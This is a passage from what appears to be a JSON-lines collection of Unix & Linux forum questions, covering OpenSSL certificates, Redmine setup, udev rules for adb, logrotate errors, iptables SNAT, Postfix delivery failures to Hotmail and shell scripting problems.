is as soon as my Gnome desktop gets up: PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 1573 root 20 0 89508 43m 11m S 1 2.2 0:03.53 Xorg"} {"_id": "15008", "title": "How can I update existing .crt file with new encrypted rsa .key file?", "text": "Suppose I have 2 files: an RSA key file `client.key` and a certification file `client.crt`. I have created them without pass-phrase and now I have encrypted `client.key` file with pass-phrase by command: openssl rsa -des3 -in client.key -out client-enc.key Now I want to re-create/update `client.crt` file with client-enc.key. How can I do that?"} {"_id": "33496", "title": "Installing Redmine on openSUSE", "text": "I installed `redmine-1.1.3-1.1` on a openSUSE 12.1 using the repositories http://download.opensuse.org/repositories/devel:/tools:/scm/openSUSE_12.1 . Anyway, after the installation: I edited the `database.yml` file to add the mysql location on other server. This way: production: adapter: mysql database: redmine host: username: redmine password: encoding: utf8 then I started the redmine (rcredmine start) # rcredmine start redirecting to systemctl an looks like it's working. # rcredmine status redirecting to systemctl redmine.service - LSB: Redmine Web Server Loaded: loaded (/etc/init.d/redmine) Active: active (exited) since Mon, 05 Mar 2012 15:32:27 -0200; 9s ago Process: 4601 ExecStop=/etc/init.d/redmine stop (code=exited, status=0/SUCCESS) Process: 4683 ExecStart=/etc/init.d/redmine start (code=exited, status=0/SUCCESS) CGroup: name=systemd:/system/redmine.service when I watch the logs don't show me anything strange. # tail -f /var/log/messages Mar 5 15:32:27 redmine redmine[4683]: Starting Redmine daemon..done There's no port at all ~ # netstat -nat | grep 3000 ~ # What I am missing?"} {"_id": "136260", "title": "How do I allow non-root access to Nexus 7 2013 LTE (deb) over adb and fastboot?", "text": "I need to access my Nexus 7 2013 LTE (deb) over `adb` and `fastboot`, but it seems that it's required to be `root` to be able to run the `adb` server to be able to access the device due to USB rules. How can I configure udev to allow access to this device as a non-root user for `adb` and `fastboot`?"} {"_id": "96913", "title": "Test for link with trailing slash?", "text": "I created in `/tmp/test/` mkdir somedir ln -s somedir/ somelink I want to loop through only directories: for file in */ ; do if [[ -d \"$file\" && ! -L \"$file\" ]]; then echo \"$file is a directory\"; fi; done but why does this show `somelink is a directory`? while without the slash it doesent? for file in * ; do ... And is there a difference in zsh?"} {"_id": "108982", "title": "Rotating iptables logs, strange message about script being converted to upstart job", "text": "I use a script `/etc/logrotate.d/iptables` containing entries like: /var/log/in_iptables.log { rotate 4 weekly missingok notifempty compress delaycompress sharedscripts postrotate invoke-rc.d rsyslog rotate > /dev/null endscript } to keep my iptables logs rotated. It seems to have been doing its job, but today I got a message from `anacron`: /etc/cron.daily/logrotate: The script you are attempting to invoke has been converted to an Upstart job, but rotate is not supported for Upstart jobs. invoke-rc.d: initscript rsyslog, action \"rotate\" failed. error: error running shared postrotate script for '/var/log/in_iptables.log run-parts: /etc/cron.daily/logrotate exited with return code 1 Can anyone explain to me what this means exactly? Do I need to be worried or change anything in order for my logs to keep rotating?"} {"_id": "92798", "title": "How to turn my linux laptop into wireless repeater?", "text": "**I need to use my laptop to extend the range of my wireless router.** I have a Samsung laptop with FEdora19 installed (but those should be irrelevant for a good answer). My wireless card supports master mode (`iw list` listing includes `AP` mode). The card is: 01:00.0 Network controller: Qualcomm Atheros AR9485 Wireless Network Adapter (rev 01) I am trying to follow this resource link, but am getting errors, and my knowledge is too limited to get me through the errors. [sci@localhost ~]$ su -c \"iwconfig wlp1s0 mode master\" Password: Error for wireless request \"Set Mode\" (8B06) : SET failed on device wlp1s0 ; Invalid argument. Following the Atheros specific advice at the middle of the page: modprobe: FATAL: Module ath_pci not found. I am very surprised that the procedure is not trivial, and that a dedicated application doesn't exist. How should I approach this? Further reading is in order, if it is focused on the problem at hand!"} {"_id": "77809", "title": "using find, exec, sed to manipulate strings as args to another program", "text": "I can use find like this `find -type f -path \"./src*\" -name \"*.php\"` to find a list of files. For example ./src/Superuseradmin/Model/Mapper/UUID.php What I need to do is manipulate each string in the list like this: file from find command: ./src/Superuseradmin/Model/Mapper/Mapper/UUID.php manipulate into class: Superuseradmin\\Model\\Mapper\\UUID manipulate into test file: ./test/Superuseradmin/Model/Mapper/UUIDTest.php So that I can run this command for each one. ` phpunit-skelgen.phar --test -- Superuseradmin\\Model\\Mapper\\MyMapper ./src/Superuseradmin/Model/Mapper/MyMapper.php ./test/Superuseradmin/Model/Mapper/MyMapperTest.php ` Would really appreciate the help."} {"_id": "154099", "title": "script started in .xinitrc stays in processes", "text": "I have made a little startup bash-script to run before my wm starts. Unfortunately after X and WM is started this script is still listed in the in `htop` and I don't have a clue why... this is the startup-script #!/bin/bash #Bind Multimedia Keys with xbindkeys xbindkeys #Turn X-Screensaver off xset -dpms; xset s off #Set Cursor to Arrow-Shape xsetroot -cursor_name left_ptr # Start Compton for compositing compton --config ~/.config/compton.conf -b # Set Wallpaper feh --bg-fill ~/pictures/makoto-shinkai_00412767.jpg # Start Dropbox [ -e /usr/bin/dropboxd ] && /usr/bin/dropboxd & # Start Emacs-Daemon #/usr/bin/emacs --daemon exit and this is my .xinitrc #!/bin/sh # # ~/.xinitrc # # Executed by startx (run your window manager from here) if [ -d /etc/X11/xinit/xinitrc.d ]; then for f in /etc/X11/xinit/xinitrc.d/*; do [ -x \"$f\" ] && . \"$f\" done unset f fi $HOME/bin/xstartup # i3 is kept as default session=${1:-i3} case $session in bspwm ) exec bspwm;; i3|i3wm ) exec i3;; hlwm ) exec herbstluftwm;; # No known session, try to run it as command *) exec $1;; esac"} {"_id": "71642", "title": "Display ONLY IP addresses of currently logged users", "text": "I want to get a list of the currently logged users and their respective IP addresses. I tried the following command line: w -s However, the TTY, IDLE and WHAT columns are also displayed. I don't want those columns to be displayed as I plan to use only the needed information as an input to a script. Is there any way to filter those columns out? Any way of getting a list with just the users and their IPs?"} {"_id": "16006", "title": "installing centOS as second OS on laptop", "text": "I am going to install CentOS 5.6 by bootable dvd and I arrive at the Installation Method stage that forces me to choose one item to identify CentOS packages. My CentOS iso file exists on my hard drive and I dont know which one to choose?"} {"_id": "77801", "title": "Show \"last login\" information when \"su\"", "text": "I'm trying to configure the PAM modules working with `su` command. I want to `su` shows the \"last login\" information, as `ssh` or `login` do. I find, on `/etc/pam.d/login` a PAM module called `pam_lastlog` that does exactly what I want. I simply copy the line from `login` to `su` configuration file, but when I run `su` I didn't get the expected behavior. This is the content of my `/etc/pam.d/su`: #%PAM-1.0 auth sufficient pam_rootok.so auth include common-auth account sufficient pam_rootok.so account include common-account password include common-password session include common-session session optional pam_lastlog.so nowtmp session optional pam_xauth.so This is the default GNU/Linux distribution's file, only adding the `session optional pam_lastlog.so nowtmp` line commented above. Why is this not working?"} {"_id": "77805", "title": "CentOS 5.8 with gcc 4.4.7 links against libstdc++ 6.0.8. How is it possible?", "text": "According to the gcc ABI policy, gcc 4.4.7 should depend on libstdc++ 6.0.13. As far as I understood, the compiler version and the libstdc++ version are deeply interrelated and can't be swapped, so it came to me as a surprise to discover the following facts: * CentOS 5.8 somehow manages to have a gcc44 package that links against 6.0.8, apparently coming with the default system (which is based on gcc-4.1.2) * that the libstdc++.so in the compiler directory (/usr/lib/gcc/x86_64-redhat-linux6E/4.4.7, where I expected to find a libstdc++-6.0.13) is not a link to a shared object of any sort, but a text file containing `INPUT ( -lstdc++_nonshared /usr/lib64/libstdc++.so.6 )` What kind of magic is going on here? Specifically: * How could they provide a gcc 4.4.7 that links against an older version of libstdc++? I thought it was not possible. * what is this stdc++_nonshared library? * I didn't know a .so file could contain that text. Who parses it (dynamic linker I guess) and what are its specifications and consequences? * How far can this magic go? Can I use gcc4.7 with libstdc++ 6.0.3? What is the spectrum of compatibility"} {"_id": "72326", "title": "Where can you host a custom Linux Distribution?", "text": "I've recently been creating a custom Linux distribution based on Gentoo that includes a custom installer, artwork, development tools, and desktop environment. I have an ISO image and a local mirror for packages, however I am currently running a mirror privately on a home network with a residential Internet connection. I was wondering what the next step is to make my distribution public? Where can I host my distribution ISO files, as well as my source code and update files?"} {"_id": "72321", "title": "Lightweight Debian based distro?", "text": "Can anyone recommend an lightweight debian based distribution working on an PC with 800 MHZ CPU and 64 MB RAM? Also, would some old games like Worms Armageddon or Diablo 2 work on the lightweight distro with wine? (these two games, for example, work fine on the computer, running windows) Are the minimum requirements different for games running over wine, than the ones for windows."} {"_id": "72320", "title": "How can I hook on to one terminal's output from another terminal?", "text": "I need to hook onto output of currently running terminal (tty1) from virtual terminal and capture it (running X server). I'm pretty sure such a thing is possible by simpler means than debugging (result of my Google searches). Can anyone help?"} {"_id": "72323", "title": "Pre-specifying a default GNU Stow target-directory", "text": "**TLDR:** Can I pre-define a stow folder other than `/usr/local` with GNU Stow? I do not have admin privileges on the machine I use for work, and I was told that I could use GNU Stow to manage my installations. The tool looks great, but everywhere in the documentation I read that stow uses `/usr/local` as the installation directory where it builds the symlink farm. Unfortunately this folder was already populated by `root`, and I do not have write privileges on anything under `/usr/local`. There is a flag `-t` that I can use in the command line to specify the target directory, but since I will always be using the same (I want my installations to consistently be under the same target directory), I was wondering if there is a way to use a default path of my choice."} {"_id": "72322", "title": "Difference between eval and alias commands", "text": "what are the differences between `eval` and `alias` commands? Examples: x=\u2018ls -d -l $HOME\u2019 $x eval $x alias y=\u2018ls -l -d $HOME\u2019 y"} {"_id": "71645", "title": "from a laptop with CentOS 6.3 what is the command line to talk mysql server on my pc?", "text": "I have CentOS 6.3 running on my laptop which is already connected to the net. What is the command line to talk to MySQL server on my PC? Both devices are connected via my router and they can talk to each other."} {"_id": "88454", "title": "How to list existing alias for a certain linux user?", "text": "Does anyone know how do I list existing alias for a certain Unix/Linux user on Debian? For example I have an Unix/Linux user 1001 and want to know which alias for login it has?"} {"_id": "10263", "title": "how to concatenate strings in bash?", "text": "I need to concatenate 2 strings in bash, so that: string1=hello string2=world mystring=string1+string2 `echo mystring` should produce > helloworld"} {"_id": "133904", "title": "How to get list of urls from a URL recursively with filtering", "text": "I want to get list of URLs that contains `vimeo.com` from a web site recursively by a command , so that I can pipe it to vimeo_downloader.sh. I prefer to use `wget`, but also I'm happy with other options. ### Example `index.html` 01 02 03 04 05 06 `01.html` ... ... src=\"//player.vimeo.com/video/xxxxxxxxxx?api=1\" ... ... Likewise `02.html` to `06.html` have a vimeo's URL. How to get all vimeo URLs from `01~06.html`?"} {"_id": "133902", "title": "Is it possible to inject newlines in the ouput of cowsay/cowthink while preserving the \"bubble\"?", "text": "I keep a printed version of the `Bash` manual handy so I'm curious about any changes made to it - especially since I don't always pay attention to the packages I update. Usually locally you have the version of the manual related to the version of the software you have, and you can track changes easily. I built this to check some sources and have a summary: #!/usr/bin/env bash ## bashmancheck - Check different sources for date of the last updates header=\"BASH manual -- Local BASH manual -- BASH repo /doc -- BASH Reference man(www)\" data=\"$(links -dump 'http://git.savannah.gnu.org/cgit/bash.git/tree/doc/bash.1' | grep -om 1 'Last Change.*' | cut -d ' ' -f 4,6,9) -- $(zcat /usr/share/man/man1/bash.1.gz | grep -om 1 'Last Change.*' | cut -d ' ' -f 4,6,9) -- $(links -dump 'http://git.savannah.gnu.org/cgit/bash.git/log/doc' | grep -Eom 1 '[[:digit:]]{4}-[[:digit:]]{2}-[[:digit:]]{2}') -- $(links -dump 'http://www.gnu.org/software/bash/manual' | grep -om 1 'last updated.*' | cut -d ' ' -f 3-)\" cowthink -W80 -f bud-frogs -- $header $data It uses `links` and `zcat` to look at a specific string in the manpages source online and locally, as well as in the /doc section of the Bash repository and finally in the online reference manual. And the output looks like this: ( BASH manual -- Local BASH manual -- BASH repo /doc -- BASH Reference man(www) ) ( Feb 2 2014 -- Feb 2 2014 -- 2014-02-26 -- August 22, 2012 ) ------------------------------------------------------------------------------- o o oO)-. .-(Oo /__ _\\ /_ __\\ \\ \\( | ()~() | )/ / \\__|\\ | (-___-) | /|__/ ' '--' ==`-'== '--' ' Yet I wish I had pairs of item and date each on a line, like so: BASH manual: Feb 2 2014 Local BASH manual: Feb 2 2014 BASH repo /doc: 2014-02-26 BASH Reference man(www): August 22, 2012 But for that I would need to change line after I concatenate the item and its date - and I can't make happen it with `cowsay/cowthink`. And this explains why I have designed the script like it is. The two variables are just there to help me out with formatting but have no bearing on it at execution. It just so happens that the header and data variables are less than 80 columns wide each and the command ouput is set to 80 columns for that purpose. I also used `cut` to shorten the dates for them to display on one line instead of just using `grep -o` like I was initially doing. I arbitrarily used some characters(double dashes) for formatting - which is just crude. Can you use newlines with something like cowsay? Is there a (better) way to do this?"} {"_id": "133903", "title": "Send a command with password in upstart script", "text": "CentOS 6.5 The server is an AWS AMI, specifically this one I'm trying to use upstart to start a process on boot On this particular box, the `root` login is disabled, and every time I need to run something with `sudo` it asks for my password So simply putting my command in the script won't work. I tried to follow this answer, with no success I've got this rio.conf file in the /ect/init directory: start on runlevel [2345] stop on runlevel [!2345] exec echo Password! | sudo -s /usr/bin/riofs --fuse-options=\"allow_other\" --fmode=0777 --dmode=0777 xx.xxxxxx /mnt/applications/recorder/streams/_definst_/s3 And whenever I run this, nothing seems to happen. `Password!` is just an example password. ## EDIT: If I type `exec /usr/bin/riofs` my SSH window will close, and then when I go back in, I can see that it's working. I don't know what that means, or how to automate that."} {"_id": "96436", "title": "copying specific files in directory", "text": "I am trying to copy some of the files in a directory. The directory contains following files my current directory is ~/certificate/ drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 16 11:58 apache -rw-rw-r-- 1 ubuntu ubuntu 5812 Oct 16 11:20 apache.keystore -rw-rw-r-- 1 ubuntu ubuntu 1079 Oct 16 08:31 csr.txt -rwxr-xr-x 1 ubuntu ubuntu 36626564 Oct 16 10:08 my.war drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 16 09:39 tomcat -rw-rw-r-- 1 ubuntu ubuntu 6164 Oct 16 09:31 tomcat.keystore I want to copy all files to ~/certs/ except my.war. I have tried following command without success. I do not want to move my.war out of the folder even temporarily. cp -r ~/certificate/(?!m)* ~/cert/. Please help me with suitable regular expression or any other tool."} {"_id": "31387", "title": "What is the optimum swap size on Linux for a heavily threaded program?", "text": "I using an Amazon EC2 server small instance and by default it allows 382 threads per process. However, I wish to run 10,000 threads in a single process. Recently, I learned that this can be done by either reducing the stack limit or increasing virtual memory. To the best of my knowledge, virtual memory can be increased by increasing RAM or swap space in Linux. Increasing RAM is not an option. I know how to increase swap space, but I am not sure what the optimum size I should go for is. What I am not clear on is, how do swap space and RAM work when I run threads? Is there some specific limit after which swap memory makes the threads slow? Is there an optimal amount of swap space I should use?:"} {"_id": "35807", "title": "Recommended location of node.js applications in linux filesystem?", "text": "Where is the conventionally accepted location of node.js/express web apps, in a linux file system? Currently I've got a subdirectory in `/opt/` but I'd like to hear other people's view on this..."} {"_id": "106072", "title": "Use of sed in perl?", "text": "I want to re-use the code given here, but I'm stuck in understanding the use of `sed` print \"Sending to QRadar...\\n\"; # SSH To QRadar's Console and push out file + trigger update `scp -i $qradar_ssh_key -o UserKnownHostsFile=$qradar_ssh_knownhosts -o StrictHostKeyChecking=no root\\@$qradar_console:/store/configservices/staging/globalconfig/remotenet.conf .`; `sed -i -e '/^SECULERT/d' remotenet.conf`; `cat $seculert_qradar_list >> remotenet.conf`; `scp -i $qradar_ssh_key -o UserKnownHostsFile=$qradar_ssh_knownhosts -o StrictHostKeyChecking=no remotenet.conf root\\@$qradar_console:/store/configservices/staging/globalconfig/remotenet.conf`; I like to know what `sed` is doing over here."} {"_id": "88185", "title": "Delete 100 lines from vi editor using single command", "text": "I am using Ubuntu and trying to delete all 100 lines from `vi` editor but I got interview question of doing this in one command."} {"_id": "88182", "title": "SNAT with network alias IP RHEL 5.5", "text": "I have Rehat Enterprise Linux Server Release 5.5(Tikanga) with two interfaces as below * eth0: with public IP as xxx.xx.64.118 * eth0:0: with public IP as xxx.xx.116.19 * eth1: with private IP as 172.16.23.2 By default my iptable POSTROUTING chain rule is as below: Chain POSTROUTING (policy ACCEPT) target prot opt source destination MASQUERADE all -- 0.0.0.0/0 0.0.0.0/0 which means it has NAT IP as IP of eth0. Now I want a specific host computer(172.16.23.6), connected to eth1, to have source IP as that of eth0:0 (ie. xxx.xx.116.19) while connecting to internet. So I added a rule as below iptables -t nat -A POSTROUTING -s 172.16.23.6 -o eth0 -j SNAT --to-source xxx.xx.116.19 Which added new rule above MASQUERADE as show : Chain POSTROUTING (policy ACCEPT) target prot opt source destination SNAT all -- 172.16.23.6 0.0.0.0/0 to:xxx.xx.116.19 MASQUERADE all -- 0.0.0.0/0 0.0.0.0/0 After what I supposed was that the host having IP 172.16.23.6 would have public IP xxx.xx.116.19 when connecting to the internet(checked via whatismyip.com). But it still shows the public IP of eth0(xxx.xx.64.118). The same worked well for Ubuntu. Can anybody please suggest what is the problem ?"} {"_id": "88183", "title": "how to enable root user in linux(Ubuntu)?", "text": "In Linux (Ubuntu),I am going through with a lot of problems. In ubuntu, I haven't got any root user. So, I have to apply `sudo` bash at every Instance. I just want to create a root user, from which I can login and have all the privileges."} {"_id": "155064", "title": "cygwin, tail -F and rapidly filling/rotatinglogs", "text": "I'm using cygwin tail to follow busy java web application logs, on a windows server, generating roughly 16Gb worth of logs a day. I\"m constrained to 10MB log sizes, so the files roll very often. The command line I'm using is : /usr/bin/tail -n 1000 -F //applicationserver/logs/logs.log It survives 2-4 rolls of the file, about 4-6 minutes, but eventually, usually reports: \"File truncated\" and then echos the name of the file every second. the file is busily filling and rotating. Am I exceeding the capability of tail?"} {"_id": "131501", "title": "Printer is not recognized by CUPS", "text": "I have a printer (Product code: PRP-085, Vendor BIRCH), I'm using Fedora 20 KDE (also tested on Ubuntu 13. 10) and CUPS 1. 7. 2 My issue is printer is not recognized by CUPS, the output of `lpinfo -v` is: network ipps network lpd network beh direct hp network http network https network ipp network socket network smb direct hpfax network bjnp I have tried some guides in https://wiki.archlinux.org/index.php/CUPS#Device_node_permissions. I can not find anyways to recognize this device."} {"_id": "131502", "title": "Impossible to send mail to microsoft (hotmail, live ...)", "text": "I cannot send mail to hotmail with my postfix server. I can send and receive mail from gmail and others, but not hotmail. I made an \"Authentication Report\" on `auth-results@verifier.port25.com`: ========================================================== Summary of Results ========================================================== SPF check: pass DomainKeys check: neutral DKIM check: neutral Sender-ID check: pass SpamAssassin check: ham ========================================================== Details: ========================================================== HELO hostname: bart.localdomain Source IP: 62.210.240.55 mail-from: contact@dimsolution.com ---------------------------------------------------------- SPF check details: ---------------------------------------------------------- Result: pass ID(s) verified: smtp.mailfrom=contact@dimsolution.com DNS record(s): dimsolution.com. SPF (no records) dimsolution.com. 3522 IN TXT \"1|www.dimsolution.com\" dimsolution.com. 3522 IN TXT \"v=spf1 a mx ip4:62.210.240.55 -all\" dimsolution.com. 3522 IN A 62.210.240.55 ---------------------------------------------------------- DomainKeys check details: ---------------------------------------------------------- Result: neutral (message not signed) ID(s) verified: header.From=contact@dimsolution.com DNS record(s): ---------------------------------------------------------- DKIM check details: ---------------------------------------------------------- Result: neutral (message not signed) ID(s) verified: NOTE: DKIM checking has been performed based on the latest DKIM specs (RFC 4871 or draft-ietf-dkim-base-10) and verification may fail for older versions. If you are using Port25's PowerMTA, you need to use version 3.2r11 or later to get a compatible version of DKIM. ---------------------------------------------------------- Sender-ID check details: ---------------------------------------------------------- Result: pass ID(s) verified: header.From=contact@dimsolution.com DNS record(s): dimsolution.com. SPF (no records) dimsolution.com. 3522 IN TXT \"1|www.dimsolution.com\" dimsolution.com. 3522 IN TXT \"v=spf1 a mx ip4:62.210.240.55 -all\" dimsolution.com. 3522 IN A 62.210.240.55 ---------------------------------------------------------- SpamAssassin check details: ---------------------------------------------------------- SpamAssassin v3.3.1 (2010-03-16) Result: ham (-0.2 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- -1.9 BAYES_00 BODY: Bayes spam probability is 0 to 1% [score: 0.0000] 0.0 HTML_MESSAGE BODY: HTML included in message 1.7 HTML_IMAGE_ONLY_08 BODY: HTML: images with 400-800 bytes of words ========================================================== Explanation of the possible results (from RFC 5451) ========================================================== SPF and Sender-ID Results ========================= \"none\" No policy records were published at the sender's DNS domain. \"neutral\" The sender's ADMD has asserted that it cannot or does not want to assert whether or not the sending IP address is authorized to send mail using the sender's DNS domain. \"pass\" The client is authorized by the sender's ADMD to inject or relay mail on behalf of the sender's DNS domain. \"policy\" The client is authorized to inject or relay mail on behalf of the sender's DNS domain according to the authentication method's algorithm, but local policy dictates that the result is unacceptable. \"fail\" This client is explicitly not authorized to inject or relay mail using the sender's DNS domain. \"softfail\" The sender's ADMD believes the client was not authorized to inject or relay mail using the sender's DNS domain, but is unwilling to make a strong assertion to that effect. \"temperror\" The message could not be verified due to some error that is likely transient in nature, such as a temporary inability to retrieve a policy record from DNS. A later attempt may produce a final result. \"permerror\" The message could not be verified due to some error that is unrecoverable, such as a required header field being absent or a syntax error in a retrieved DNS TXT record. A later attempt is unlikely to produce a final result. DKIM and DomainKeys Results =========================== \"none\" The message was not signed. \"pass\" The message was signed, the signature or signatures were acceptable to the verifier, and the signature(s) passed verification tests. \"fail\" The message was signed and the signature or signatures were acceptable to the verifier, but they failed the verification test(s). \"policy\" The message was signed but the signature or signatures were not acceptable to the verifier. \"neutral\" The message was signed but the signature or signatures contained syntax errors or were not otherwise able to be processed. This result SHOULD also be used for other failures not covered elsewhere in this list. \"temperror\" The message could not be verified due to some error that is likely transient in nature, such as a temporary inability to retrieve a public key. A later attempt may produce a final result. \"permerror\" The message could not be verified due to some error that is unrecoverable, such as a required header field being absent. A later attempt is unlikely to produce a final result. ========================================================== Original Email ========================================================== Return-Path: Received: from bart.localdomain (62.210.240.55) by verifier.port25.com id hfnbc211u9cn for ; Thu, 22 May 2014 06:51:45 -0400 (envelope-from ) Authentication-Results: verifier.port25.com; spf=pass smtp.mailfrom=contact@dimsolution.com Authentication-Results: verifier.port25.com; domainkeys=neutral (message not signed) header.From=contact@dimsolution.com Authentication-Results: verifier.port25.com; dkim=neutral (message not signed) Authentication-Results: verifier.port25.com; sender-id=pass header.From=contact@dimsolution.com Received: by bart.localdomain (Postfix, from userid 33) id 58E2FF401AB; Thu, 22 May 2014 12:51:45 +0200 (CEST) To: check-auth@verifier.port25.com Subject: fsdfg X-PHP-Originating-Script: 501:rcube.php MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=\"=_b148f0ac1d5edc2ff6cb8772d93c5c22\" Date: Thu, 22 May 2014 12:51:45 +0200 From: Agence web Dim'Solution Organization: Dim'Solution Message-ID: <1e17adc6630c90ded8b6bf2b80596ac4@dimsolution.com> X-Sender: contact@dimsolution.com User-Agent: Roundcube Webmail/1.0.0 --=_b148f0ac1d5edc2ff6cb8772d93c5c22 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=UTF-8 Error from /var/log/mail.log: May 18 17:50:32 sd-45290 postfix/smtp[12608]: D1487F40CB0: lost connection with mx4.hotmail.com[65.55.92.152] while performing the HELO handshake May 18 17:50:32 sd-45290 postfix/smtp[12607]: 766E8F40C92: lost connection with mx4.hotmail.com[207.46.8.199] while performing the HELO handshake May 18 17:50:32 sd-45290 postfix/smtp[12610]: E4F64F40AB5: lost connection with mx3.hotmail.com[207.46.8.199] while performing the HELO handshake May 18 17:50:32 sd-45290 postfix/smtp[12612]: 2BBBAF40AB4: lost connection with mx4.hotmail.com[65.55.33.119] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12608]: D1487F40CB0: lost connection with mx2.hotmail.com[65.55.92.168] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12610]: E4F64F40AB5: lost connection with mx1.hotmail.com[65.55.92.136] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12607]: 766E8F40C92: lost connection with mx4.hotmail.com[65.55.37.104] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12612]: 2BBBAF40AB4: lost connection with mx3.hotmail.com[207.46.8.167] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12608]: D1487F40CB0: lost connection with mx1.hotmail.com[65.55.92.168] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12610]: E4F64F40AB5: lost connection with mx1.hotmail.com[65.55.92.168] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12607]: 766E8F40C92: lost connection with mx2.hotmail.com[65.55.92.152] while performing the HELO handshake May 18 17:50:33 sd-45290 postfix/smtp[12612]: 2BBBAF40AB4: lost connection with mx3.hotmail.com[65.55.92.136] while performing the HELO handshake May 18 17:50:34 sd-45290 postfix/smtp[12608]: D1487F40CB0: lost connection with mx3.hotmail.com[65.54.188.94] while performing the HELO handshake May 18 17:50:34 sd-45290 postfix/smtp[12607]: 766E8F40C92: lost connection with mx3.hotmail.com[65.55.92.168] while performing the HELO handshake May 18 17:50:34 sd-45290 postfix/smtp[12610]: E4F64F40AB5: lost connection with mx1.hotmail.com[65.55.37.88] while performing the HELO handshake May 18 17:50:34 sd-45290 postfix/smtp[12612]: 2BBBAF40AB4: lost connection with mx1.hotmail.com[65.55.37.104] while performing the HELO handshake May 18 17:50:34 sd-45290 postfix/smtp[12608]: D1487F40CB0: to=, relay=mx1.hotmail.com[65.55.92.184]:25, delay=21407, delays=21405/0.05/2/0, dsn=4.4.2, status=deferred (lost connection with mx1.hotmail.com[65.55.92.184] while performing the HELO handshake) May 18 17:50:34 sd-45290 postfix/smtp[12610]: E4F64F40AB5: to=, relay=mx2.hotmail.com[65.55.92.136]:25, delay=332155, delays=332152/0.06/2.2/0, dsn=4.4.2, status=deferred (lost connection with mx2.hotmail.com[65.55.92.136] while performing the HELO handshake) What could be wrong?"} {"_id": "131503", "title": "Run a script at startup", "text": "I am using Ubuntu 14.04. I wrote a small script named trial. The contents of the script are as follows: #!/bin/sh SHELL=/bin/sh PATH=/bin:/sbin:/usr/bin:/usr/sbin sh -c firefox I copied the script to `/etc/init.d`, modified permission using `chmod +x trial` and used `update-rc.d trial defaults`. The file made link but when I rebooted the machine. It did not run firefox. I tried cron @reboot but with no success. I tried rc.local too again failure. I think something is wrong in my script. I am new to linux so can some one point out my mistake?"} {"_id": "131504", "title": "How to sync terminal session command history in bash?", "text": "I've tried to search in `~/.bash_history` for my recent commands while in a terminal session but they just weren't there. I guess this is because I have multiple terminal sessions open. Is there a way that I can sync (ie. sync-push or sync-write-out) the current terminal session's command history into the bash_history file (without closing the session and losing that environment)? (It would be remotely similar in idea to how the `sync` command stores the file-system modifications on some embedded systems.) I imagine I could set up bash to preserve multiple session history but the ability to push the current history buffer would still be useful in scenarios when you are working on a new machine and you accidentally forgot to set up bash the way you may would have wanted."} {"_id": "131505", "title": "How to set sctp_nodelay to enable piggybacking while replying back", "text": "**Problem:** We are hosting a telecom application that receives traffic from the network at > 500 TPS. The packets are piggybacked so each sctp packet contains multiple application layer packets lets say 10. Our interface to the network is a SG(signalling gateway) which routes the packets to our internal node in the cluster. But since our sctp library (the native lkstp lib) doesnt support the piggybacking or **sctp_nodelay** is set to true, it splits the packets and sends them to the internal node as multiple packets thereby yielding congestion in the network. **What we want** We want to check for any option at kernel or the sctp library level to be able to turn off sctp_nodelay (Im assuming this option works in the same manner as tcp_nodelay does). So that multiple packets are sent out in one sctp message. **Server specification:** CentOS: 5.8 kernel: 2.6.18-308.el5 sctplibrary: lksctp-tools-1.0.10! In the following image it shows the piggybacked packets comming from network and the routed packets being sent as individual packets. Here is the sample packet EDIT: yes I have tried the following code, it still doesnt work: private void doInitiateConnectionSctp() throws IOException { this.socketChannelSctp.setOption(SctpStandardSocketOptions.SCTP_NODELAY, true); // Create a non-blocking socket channel this.socketChannelSctp = SctpChannel.open(); this.socketChannelSctp.configureBlocking(false); // bind to host address:port this.socketChannelSctp.bind(new InetSocketAddress(this.hostAddress, this.hostPort)); if (this.extraHostAddresses != null) { for (String s : extraHostAddresses) { this.socketChannelSctp.bindAddress(InetAddress.getByName(s)); } } // Kick off connection establishment this.socketChannelSctp.connect(new InetSocketAddress(this.peerAddress, this.peerPort), 32, 32); }"} {"_id": "131508", "title": "How to know how long will my simulation run in UNIX?", "text": "![enter image description here](http://i.stack.imgur.com/5oHEB.jpg) I am new in using Unix, I want to know what command can display how long will my simulation run. I am using windows but running cygwin to get the UNIX environment. I am running a discrete dipole approximation simulation. This is my simulation, I don't know if it worked or not that is why I want to see the remaining time to ensure it is really running, or is there any way to know if it is really running?"} {"_id": "53189", "title": "How a piped shell programs balance their output/input rates?", "text": "> **Possible Duplicate:** > Bash while loop and reading from pipe I come from web programming background, and find myself interested in one peculiarity of using a local shell. I understand that when a program reads from file, it can read at whatever rate's necessary. But I'm curious to know, how does it work when a program gets other program's input piped in and can't process it in realtime? A good example would be video encoding. Suppose I point a decoder to video file, then it's output gets piped in as encoder's input. The total size of decoded video is more than ram+swap, so I guess there's no way to have it buffered altogether. I found about read and write calls to stdin and stdout, but I'm interested to know what actually happens when this example's encoder can't cope with all the data at once. Does it somehow informs the decoder about desired rate? Does decoder program needs to be specifically prepared for such a signal and modify it's processing speed accordingly? If not, how does it all gets balanced in the end?"} {"_id": "124906", "title": "Rearrange text file by prepending data rows with header row", "text": "I have a file whose content looks like this: 2009 150 0 0 0 0000 75.316 0.0400390625 0.00007 0.00000 0.8980 76.216 0.0400390625 0.00007 1.00000 0.9046 77.217 0.0400390625 0.00009 2.00000 0.9113 78.341 0.0400390625 0.00010 3.00000 0.9183 2009 150 2 0 0 0000 75.316 0.0400390625 0.00007 0.00000 0.8980 76.216 0.0400390625 0.00007 1.00000 0.9046 77.217 0.0400390625 0.00009 2.00000 0.9113 78.341 0.0400390625 0.00010 3.00000 0.9183 79.616 0.0400390625 0.00013 4.00000 0.9255 I would like to: 1. Find all lines that start with keyword 2009. 2. Pre-pend those lines to all following ones until another occurrence of line that starts with 2009 is found, and so on until EOF. In essence I am looking for an output like this: 2009 150 0 0 0 0000 75.316 0.0400390625 0.00007 